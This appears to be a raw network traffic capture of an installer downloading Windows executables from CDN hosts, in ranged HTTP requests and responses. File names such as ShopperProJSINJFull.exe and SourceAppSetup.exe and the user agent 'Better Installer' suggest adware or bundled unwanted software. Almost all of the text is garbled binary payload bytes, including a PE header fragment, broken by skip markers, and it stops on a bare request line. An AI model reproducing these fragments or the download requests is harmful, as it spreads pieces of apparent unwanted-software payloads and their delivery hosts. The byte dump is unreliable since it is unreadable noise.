.h....>...i..`Zb.}...\.k.......P.x..i2.........`Mp.Jm7.....s..O....
}..*...u..v.B.}....Uk.J..G./.....6...=@.]..=...i..-..AQ.w.la....&).?.G
<...Z....,....N.M=#u!5...u1..s.2......U.M..an..Qf.D`&.A.r..t...?^..
$Rk...=.$..rz.Y6..tzW..5t.S...j..q..{..e...........7..&.k5.4....a.nR..
t.Y">Yn.$>.1.d..R .....*kc....a..c.9wd...).|t3..8#f./.8....S....
6S[..6.`$...0U.2... ...>..g...z.C.n?2.......6ay? .F....~'..&i*'.P..
....$...........y@La;BmJ......%.b..W../>.!...........S.JX.9.{...R..
..7..}[email protected][email protected](.....I8M(.6\/....>36.......,.n.%.;...G...
\.S...|...6.....(...B....Al....X...W.P..._..'....Yn..7.u ..._...\.$}.&
gt;..gB.._..U.....2..ox...MZ.n.._\.K"A.i.AP.q..Q....Ak.w9_..;.........
..X/d%..k.p.7...n...?.p..~..v.........6.........../.....Z.....o@4."...
.y.O....=.o..d(.[N*..iW.....i...-.j..K.|j..{^..m.!.s.Z.h...v....M.....
9.$/p.@.......$...`.......I[..(.(.7..~...1....1..QP6j&..!..cG.......TT
e......h.C....K...kF.zU...4.1L..u....X.Z..p..s1...'..`.N(".. .{d.%
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:03 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2250000-2499999/4681230
.S..~:h.3...........i.d..g.....r....Vd..y..'.6.......W.....E..h. .8G|.
` s2*.M.D.W.a.{... hR..i.......B.....((......t..>=>.]..a.C......
..P......3..d3|. ...d [..NlqO..V...U...^j....#..@nv6.>Y..-.G.".....
...{.6;..a.HU.%,.7.o....Z2..A. .N]..q.i5i%...7jf..L...O..@7.).|[.E...G
...h....&8..XJ....x...O....(.x...&W...n.....u..@=.Q.Z.Ic.:..C^i.#.-e..
HcP.&...u.3&....-nI...U....*.....l;.. ...... .B(..Q.F...p...... ..T..o
[.(mDrFy[2u......zY........>S..5......n.I.......D.....f.L..sI.....]
x."..5P....z..[..pf..6...r T.#pZ.;[email protected].
. .(..fVf..t.-.!....`.t..[.A|..^R.....`{..P.lnL.|x......w.a.VC%.......
...UxH..R.. .-_<...u.._.>R...\?04..AZ....N....6[..~.t7.../d.%.6.
\......|A.z....Zy.e.........a. .-Q.<lB..o.z!6.....^..iM.C....`..1.J
.D.ARK..bR&.C0........L...:..q. k...co.(a.A........p.D...,....`.......
bB#J..%.......'..".eB::.....4;[email protected]@.....bY.>`n.k1
'.m..q.j.[....I....Z...R...............D...jl. dK....0f(^...P.0.g...Si
O...C!g.......>Tz..7.J.C.p....V..........r1./:[email protected]...
_...@..(...R.d3..r.z.!.M..E...*............G..j..k..Y.(..<.-.%.DV..
..b2.r...i.#.i..N...fd4...[..B4j(-...:.)#N8.^.yS?..Rb......_/....bW.YA
......=....[.^4.L?.....$n..z...R.S.-... .5JpaO...X..[..`}...l .....:..
..U..&...,.g......B....]K...j....".....p.' .pnIeN.r...."..W.T.5..~.>
;.G.-.Xyt|...p....p...=[/[email protected]?....(.TB.;..u.J...#.#tw..~..c.8].^.
....?@y....*.r.x.F.|....Q2......  &..nR.m........d.M......W.!.jL...Q..
.cK.v3?........oC...R@..{..j......B...w#~;3.*...H.....?........V.Y
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=2750000-2999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:03 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2750000-2999999/4681230
..A....0..7P.....n.:.i.L ....S..../.A.9i..7.0..$.X....L..3.sF(._.Y..3.
_....".........`."..&".K......'.c]... 3^..~.8i.$o..a.V...../..j...s?.K
V....?..!../.T..-.....7......#.(..V"S....%u*r.*.?..... ^...a..d.77..!4
........../.K....*.1..-.6..m..QG}..>..5.@#.%.:S.y.S}.A.c..=..Nb...!
...54..F......<..0M..}.1.......Q..U..........v{*...k.A...X~.=..J...
..............X6.....'n....#.h6',x#..-.i^D..b...@.......#8..3.K~.].p.i
.P}..9...1..._..|.....,.t.NN1}..U....E7S<T..k3....F.I.....U,......Y
....Hr...I;....[.....Z.}..B'....G......E.F~..0.k .Y*.e[*......yF......
[email protected]_f...]$........;.l... ;.0$...P;
. Hg.1Q..../@%.s;.. _...n..*B0..@54;....8.tq...mtd...XB/.S.@[email protected]:.
..YB.!...L..........  =X>_i.aE...s..v.S..D.hO.|..\..se.j6...j..J._.
.}..Q4../....oR..>..c........c....q2..Q.I.D2.{.p...|.K..y9.&3...E..
..!4#.'......Qy8..[=...b......[.w~......J.....Q..b....^.......~.l...=.
.]$>...OJL.|.....M1`..M....:.....E.I.h..=q.6:c..n.\...%.........ShF
W.D6..Ww.lvj\..]...1...5.....Iz.4...[bg..........G..L)..-n....3N..g...
......,.8..t. .i&..pf8D... l......-f.V...&~Q*_rs.{.....XW<|sz..[.$.
.AF.<.t...P........E.Z.'...."b..]J.HY.......BdB2y...;...4a.Hm...:..
..,.................R..4..E..:.Q....S6.,~.b,.3k...x....v>^.ff..X...
.Vp..l...0.....>c...s<_....X.....H..........n..J4...=....|f.H8..
...T....\O.Uh..`.d.~.OL...FT...K&.L.......H'yP.~.E0.Yw...[s......,.1..
.3.T.=<2..Sa2....JaB..jQi.(... ..x"NB8}.^C........kpi.j..5....V%?.@
.....8I.........f.{..]..x%.....o.eK.z.|...7x.Jq.Sa..A.K(*.^.D|."..
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=3000000-3249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:04 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3000000-3249999/4681230
.......l.LA<...<..$........v`..QQ......<....}.S......R.....`.
...^2.....|xP].Z!.C...W.w.]v`7.x.p-hcP...!..${.F;.{..#..B.Vp........n.
..u!7.......o.........N.....s.`..........S..N.E.._9..ZY....y?.$..:LzZ.
=..._....."r.r..`F.......Q.8N.*.nX..q..&.c.&......4..X..ND...M.x....p.
P.....Y.....I....x.V.Vl!}>..g..r8.......E.Xo..3...O. H1...w..u\.G..
........R../."...E........(.|@..X...1.......6..I.....FC.Q.x |D5.w..-c.
..'.<z...r..%.t..v..l...3..1.l..t.. Hl......W....Tm9...h....}y.....
..................kV.(.*[email protected].[..........N..qd.<T&z`....i4....`.rqo
.#.]..U..B.F.C...g. /...%. cF4........q.......JW.v~.g.....am.w......2.
.@!.....R....WY........#Z. ...V.Hv.$?.0:..aP..#..FA.. ..?.....&....>
;........0_.BgZ.[\y..uI..l...a.....QS.H.........;Jrg^rp...J...w......E
.,/y.u...h\....C...f&..G...k.y.....}....%.\5.qs.....c.....O...m!.{E.a.
.}..-..7.q...".8..............IW.j......."..k...w..Z.z#..N.y........{)
7u....c.lt..2J.....w3E4. . {............gw..QZ.=....`....|..8..../...8
..*[.O.PnUA...s..0t..[....bq'...2.J....i.X.......a.Q..9.>5.........
.... ..{2...o...{Q.... ....H.I.b."n....._\..."...u[...4...cO!_.tBa.}..
......V1".R......;.....9....;.K:....#8A|.^...r..)h...v....b~..C"hz!..Y
..M....A.?..\qWvW.....EGT....>..]VL|[email protected]~1tE.}u*....4
...X|.5..J..g.9...).........S4.........t8 .NC.`N.e:..a.j....ZAy/.>.
.'.....:..8s".f C.U[..Q.A.....i.O..6....9...z.%...}t|y.b#..,,R[?j.B.Z.
.\ .....b:l3..l}(].J...;f..L....e.... . $.&.)k.....nE\.G....*.].....sI
...8...?.....IE...x.:..51.T...].:.41|=........|.o..7........L.ys#.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:04 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3500000-3749999/4681230
..8.8$.M......7...[K...Vz.....-v _......~..k.s....4..jFd....N...f."...
Ci... ,..O.;n...#v..........XO~...w.D.......)<....-..Y...E.8..|(...
..[.f...O......=._P........Dp.ZF.jL...h...3SD..c..f....Z.p...%&..6....
.:.eN(2....d..X..gG.Ia.}Y.9...x.JU.?|5......*..\}....:....I.......W. .
j..............`3.M.. ..Eb..s.:.H.O.T.;...E.._9.B..../'E.....3.J....$"
...PV...`.......}[email protected]......[.3.g...X.:...e. ...x:.....w3.'.tT
*64....M.]....8.i..Y..R.j7Q....W.Nd,..qYLjPd*..M...F.O5...R.!k.....ap.
pb>..rI..S.^....^...Ut..P..2.\....$.~.b....f ..J...n..'...5C.(.P..'
^.3p.l.....w=^G.A....}..Y/..u.M..)!...).R.i..8..Y.xF.t..d......%c..7 B
...mO.....-g.>U..A.....Ve.c.q...D.'........~.v.w..oJ&X.........."..
8-........s.j[...m:{..G(.fB..`..Yk>.......0...s.G1.x..1...J......#)
Njp./.Q.zOVCQp.pK(.]..1.... .5...)3h.W..*D .a.?......P.g..4...K&..X.r.
I_.8N.....@B.;w.*......~.(.$.'.}D0.0.[.g....B..N.&...O. ..4.....2.....
.J..........x..{..S....!m..1c..F\.,.=....>A..oj;..'....g..?.Nt..2..
.....d.....Y<..u.w...q...........:....H...m%WS.....P G..Ns..cG$....
p-...f............H..8Q.~)Z.*?^tM..L....w..l.f)...:.y...B#.D.S..I...7.
..>...I......a?.M1. ..SI.P........... .v.%1tzl.Eb.......j...h..(u..
..~...TWu.......r.6...>r\.....d..6..R..^.'....0tMCC... .RR..}......
.^Bs......j......CD....Y.._5....G............n....;.R..........L..<
.) [email protected][email protected]...{./i..{e......`. ...`~*.<F...&.n%...Hj...
C.gs ...:9... ...%F e........g.C.=|.Ct..hgC*....V&jgn..u......P!\=.Emr
.. ..'.i.; ....O.fw..s...............1)...)..0L..<....J.K...,JO
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=4000000-4249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:04 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4000000-4249999/4681230
..7....l.dx..i......^a....nLr_ .|........E.?3".......Y...y...n..kH.CW.
 l....q l....S|..2B....I.b.j.6......A/.e.<.........oFh.SMYz....{..,
,.e.... .;......."O....{{.O .U ...}.J..f.t..X.K...0k......"1r.".....~.
.......Y..7nz...h'M."...o..Ii.c%j......5.b....Y.......(.4J..'q..Hh..kO
.p...H.....[.^.....a.\u7d.b....XO..B...y.(.....l.....g..K..../c{....$.
..Q.2....Y:.B..K,.....z ....b.ds...L.Ot..-S...g...kO...~<D..;...{..
..Y'{.nE..(.%C.|J.......Q(.....w.L..][email protected]~:9i6.X(\c..Es.g(..y*.
bR._.....?,..2>.Plf.X..0<..d.....-....L....!D<.....D$.".L..{.
......D...Q.......mg.c.W.!..P/lB...\.j..,.7...KmOq...#..X.Y...a.L.../H
4P..p.?..Q.:....e..n!....;...qxg...Q..U.........u..<.r%P.4...El....
}O..L....2.(.2.XD.K.2.I4ZyE....D.......t0.?&..@\~te../.w9...t%....6...
..g.8.......l`t8..I.....(#...`..B.M.9..m6&.ql.o../..O.f>.c..P@.....
r..P..k8..Z..F..[].Q.Z.N:"i..4.......l.u y&..u.G.!......c...`.J. ..8.(
...ax$?a*7E.-D..A.Ve..F....y...9.].....4.....1-iCT......g. F.eB......l
^...U....;E.S..1.l~..?....j.5#4............#.W..y.w?S>..S..x...H...
..I$........B!..8x......>.{>'>&c..rE........E....m.Er."......
.W...2g.-]......../v.q...Wn?g.y..d.j..L.......`.!U..We..>..PV...i.M
.~k....bZ1....d7.{..:......).R..,.<'..SW..G8.......dd6.......nQ..t#
nt..].."^...v.1V.....G`c..Q....iuj....l......9c!....G......k..O.?*.2.&
$...E1P%...4.?.......(N.ll.G..|b..$...!...IwZ.U.R4.?..,z...I..f..9.-Y.
.^r.[...&#*.c.....[%..Q7...%....."-?O/.e.F..J........._a.o......g....Q
.....Y.....[$6W......W6;.}...*.m{..]..52.2...\; W.2.!.f...l...}R..
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=4500000-4681229
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:05 GMT
Content-Type: application/octet-stream
Content-Length: 181230
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4500000-4681229/4681230
.b..TL...d:...k..,..[[email protected]..{.......}..Y$.J...0...6g.
.......[........!./2".....H...(...5.....'[D..."z7.fdn......*-V6j?dS...
.=..}....^[email protected].!.......[6b....=.......s..N...
).".'2.V'.\8.<*R...-.b.l!.!....._..o...H.9......b&.e.D[...e....dV..
...[.....!.2....H...C.}.k.b..M..vh..._. .....[K......3.s...i.......W!_
..y;u........\.#..n).4..Y..,|<....aj.".co.cW....|..I`$.b.......gG.;
.Y........u.}..s6..j.72..~...../..9.....1.J0...5I.D.....{...LJ..o6.d!.
......d....E_E..{c....=a..3.G.&&-5u#q.'.....>.}yGU...GC8]A..nH..W.r
..Mf..6.........Q5.'3)..8.z.;...3..:..<W.....h..eKj;6>.G .. .%v.
.z;L.19.>..C.b_..:.!M......8..U../L..c.:......!.....=.u...v.c F.Y..
..].>p$d..C.8..w/.C..}.F. .%w....<c...#.......Y.....(.~>.....
s.{.-.p......S4..}[email protected][email protected]...]..q..RW21.v...8."q... V.
s..dM........T..zf.&..0..kT.%.R...g...... E...."..O.;..j...h...rzx....
w._.o..._.h..`@.p.a....V.3PN..Il..(.f&O..<.....YT...&:C.../,...ml..
.Iu....w..G..3o[.1.*..O89..*p....%..&$...D..ouoO.!......W(...>...L.
a..(.'WpU<M.o8..A.J..a)..6T.;bbnz...&h:.Qe....k..........1...u".S.-
5...d.h.7..(;..`........c...P7v..z..#)`.....-. ......R......Bo...P...&
gt;#. c;....a#.t.=....Cc..dr..h.j.........|[email protected]'.SE(....]..%b.....O..
.V.3.V.W.........4. ......t.oB.V%>.....o.....m..a..3.=......~.;....
<J*.B...x.....4.@F.|....WSW."3....Pp..............$W... .0..<.Q.
...9G..W..6T....l....))eL......Ii....]u4.8....!..-..Y..<..L..>T'
.y[.......v.P.&....'.?K}...H.w2......\}hb....w...5........wZ%...^,
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=321670-643341
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321672
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT
Accept-Ranges: bytes
ETag: "639a3946a47d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 13 Feb 2015 18:27:45 GMT
Content-Range: bytes 321670-643341/1286683
X-Cache: Miss from cloudfront
Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UdlLkq4Hj-4xjF0UWmGEK9tYtyzWBfAD6M0BWC6SnCRfpepbeQ9RTA==
.g.{">...'..&....P eT.gt. ...T:C......].r..t..U......X.....%.z.....
.....{..#kg.....H.O..S&..,....!.l.s..i...E.....9M yh..u.B...|.. .`g.C.
...8.,..<3........-S7..b-.c.j. ..^..m.Y.C$%.m.:E....[.H..."..b.W...
...b.D.....(......](.......H....I...Ck..`Tg.....>d}-B.u.eV.........
......"-.n.....P..a...K....N..M....,..K3....!..o..1.7..........{...Y..
y.=........V..7.....=.x.....Wm....1K.......~w..ZN?v.{I_...6....H.OeA..
oc..n.i%...-.?G.Y.Z.V.t!|N..A..Q...$..#f.....'z............1.n .....)j
......4............"..mU....}...C....8}E0...~l.......0.q...v...}m..?*.
.~...{.k..L`..E1.?..hEb..mr....E....Z......}....b9...[r...*..t..sT.}..
../.].....M...d.N.|..H..bWh..q..kY ...}.o......'&.#V.;P.R..ST^..c.ty..
U.\...d.l.lR..kA....#TH.m.;g..;.0..DM......[.]9....%[email protected] ..
..P.. .......,Y.7.J...|...0}..^......XI..;...a\.H.1^..e.Yu..}$..s...q.
}..w...,.Y.z.t........W.=-A.)S.K.L..R..u.F.4t....o......H.IH$..vz.~.gw
.d..';.q0..u-.m".B........Y...%j.;TE.>....}M..../....e..._.1l..y.ti
_....[....)..... ).!).q}r.0.a.....l%....MA.,t..&t......"k.ooV... 01..'
!.K..._5...~%.\......l.Sk.. ...vQW|...S..s.TM......B4....,..JN....g...
h...8..n .>.h6.?... r.RM..z.^...^A..y..U..8g%y.#[email protected]...
...i......GG]U....(0.-g)g]...> .".. ....0hul[.8...#..V....=.....D..
........&P8.....N..Pn.u/lf....fK..u.<u...........$..Ff%.:.Z...&O6.T
.%^zk... .$....o.y.(../.S........z|J3].......m...k....[...".k..r.M..w 
.D....p......0.{6.'.... .u[[email protected].~v..\...W......T0o.@
.ed..fl....u.1.w-..........;....;8.J...'."..0..... gB..S.b...D.H..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=72896-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:56:59 GMT
Date: Sat, 14 Feb 2015 03:56:59 GMT
Content-Range: bytes 72896-583167/583168
Content-Length: 510272
Connection: keep-alive
o.$(\.ps!.@3Y.~.j.-.......jC.Oq.:<o.:..r......8u..5.r.sv.W.2..7 ...
..=.. .Y.D...H0....A`B.d..4.e..U..,.V(s..n"_wO.$.0......<..@h./5..h
KU...EX(L.y.....r.......7. .E.....~....;6i..m........ ..#.FnXPnr......
..1...X......6&~^..*...xU. ....p....w.......i,{....Q.7b..%.sS..r%....'
.n..P..../.2.U.k1M..&...".e.$...J5.7J......O.-|......4e.;R..z0.L.L.q..
.G(..wFN..|#=....X.Ywf...>..!..a....Js.rw[.U. ...B./.......k.IE.S..
..D......K................!..O.?..H.......O.../Qv`P.#.W^.#%|...^H.....
..w....j&t.hS...Z..i|..#Hr]...nU.?....@.....(:............xFR.4A..:.2.
)[email protected]..}....[`o(W?p?...| ^[email protected].....;..{.z.
..b....m..Yz....U8...&2Pb.b..a....r..Z...K... .3.......a.=..%.\(D..7..
3.a..s..T.....)..V.uZaO.!.....6.../.?$..L......H..*..?...a.... b.c...*
........V..........,..U"cf .lH.h<..."oy...............&._..0.....r.
.)..$...?.g.E[..a4.....%t&.)[email protected]..=..o..Wl..........
....X...7..: -w....tg3.\...!.|_;7.. . ..>e.6/.N%.F...*G....>..#.
j...4.......l\a....=..|......zPl...h....Ry.3.\\..6..i1.K...#..8g..tP..
r....mEn.K[...>4K.v.P.....z<.=Q...'z....$.....V..BN[...w.....4..
w`&.Qh..;..]..u...2'..O....89...v;BL.p.e...K0...[o..Oq...'..8..!<.Z
..].....5.[...,.d3..../`....v..k8........0.2/.1..$....O"e#'DC.([email protected]..
.)UN.!C.7.A..S..Lq......U..G...9.......H...;....o.r..g..w~........K?..
....b/k..M.."..Z....:.R..w9....uu27vl.a.}G.t.......IBZ.....w..G1....@z
... .u[...;...4.....4J../[...zXN5....V.J.......OA....Q....r.C.P!O....\
.e..n..b.....`..nc..'.&....=..lH..{.AM._..."fT.....>.J......T=.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Content-Length: 583168
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:56:59 GMT
Date: Sat, 14 Feb 2015 03:56:59 GMT
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=120612-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 201020
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 120612-321631/321632
Age: 553
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 65pWlLXrkQaebtmIYHDj6AaXu2R76Imbo1p92otkr8pFCIY1TKI5Gw==
....p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t....
........p...Q. .t.3.......t......r.....p...Q. .t.3.......t......S.....
p...Q. .t.3.......t....3.....0....P.;Q.tu.....Q. .t.3.......t.........
...p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q
. .t.3.......t....3...........I...@. ...8...3.......D...(....P.;Q.tu..
...Q. .t.3.......t......c.....p...Q. .t.3.......t......D.....p...Q. .t
.3.......t......%.....p...Q. .t.3.......t....3..........P.;Q.tu.....Q.
 .t.3.......t............p...Q. .t.3.......t............p...Q. .t.3...
....t............p...Q. .t.3.......t....3.....{....P.;Q.tu.....Q. .t.3
.......t......U.....p...Q. .t.3.......t......6.....p...Q. .t.3.......t
............p...Q. .t.3.......t....3..........P.;Q.tu.....Q. .t.3.....
..t............p...Q. .t.3.......t............p...Q. .t.3.......t.....
.......p...Q. .t.3.......t....3.....m....P.;Q.tu.....Q. .t.3.......t..
....G.....p...Q. .t.3.......t......(.....p...Q. .t.3.......t..........
..p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t......
......Q...p. .t.3.......t............Q...p. .t.3.......t............Q.
..p. .t.3.......t....3.....^....P.;Q.tu.....Q. .t.3.......t......8....
.p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q. 
.t.3.......t....3.........f.P.f;Q...f.....Q...p. .......3.......T.....
...........P.;Q.tv..Q...p. .t.3.......t......z.....p...Q. .t.3.......t
......[.....p...Q. .t.3.......t......<.....p...Q. .t.3.......t....3
..........P.;Q.tu.....Q. .t.3.......t............p...Q. .t.3......
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=364480-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 04:01:08 GMT
Date: Sat, 14 Feb 2015 04:01:08 GMT
Content-Range: bytes 364480-583167/583168
Content-Length: 218688
Connection: keep-alive
........j....Rm.`.>A.......3.M)....:..&;6..a..L.......I..Y.....&.-U
[.5.....t:w...5W..j.]bS.^...)..3`.......QK....1....8...A..V.].%..Aqu.Y
.n6.|xJ...*...O .Hi.!..b-.j......X.G.X..b.K5.._....}..~.'.....#..x6@..
'J...x}.A....T^.y.....f. ...e1h.]..A...1..2..K....t.`.mN..|..J.3.k..s.
.....6.`.`3.]#^........!.6..-...g..W<..CT()K......._FR..MtGd{..eT.#
o..*4PKQ.Sb.n./q.cQ>.).o1..V-.jg..\/..h.}x....m..I....o^~.TMk..p..)
8..... .....\/.kM....Z7.."..d"..P....].. ........K..u..:.....v.d......
..*..Zyr..:..vA@.{Ru.g......v.....:L..F..17..!e*i.d.b.?<B9B\O.....U
.#..^s..c/u......._k......%...%...B{".....<......''..'...?...N.....
erW.`.........2.(U.e....9(.{,.\.....a^e.C`X....*...6.%x.HF...z.i..F}?.
3......rr\.....A..}.[..%..H.b...14..M..3...ljTG.9.1....t...YRy.-.v.34.
[email protected]...,...............(..x......t)g..%.F
m.& ......U.:.........=..l4.......6........=f/.o...k. bY..YL....$a8.".
....));._...J.......'H'~.....x.[4..i.>Lwe=Tx.V...K.......6...lK..O.
.!.W.w...q..$31m.....z@<y-<.........&...N..s\4h.3.R..Y........F.
...Ze.KKv..........N..*1|K.\l.>..........I..........0k.U..q..!=.\..
.O.......N.gK..C.IPw.}E...2..4r...,kJ... .B.]c.."....q.'.P.*...$l..u.@
......q..&.X}...(.!.......T....tK..gc.0.a.<.J.....6c.)\.........b..
.o.'..A..k'.....M....?.!m..Y65........w..-.......=.CO.`...RR..w.=.9G..
{8]..j..MXJ<..OU....|...'......m,..e..o:..............)".....V.....
..*....e..: ........i..iz|.U..8 U...f...,.&...V...Cm.'.>/.9(..<k
.B.'A,./...V?8z....3.E...H...[.....{.T...pg..^9Ic..X5....N.....$W.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
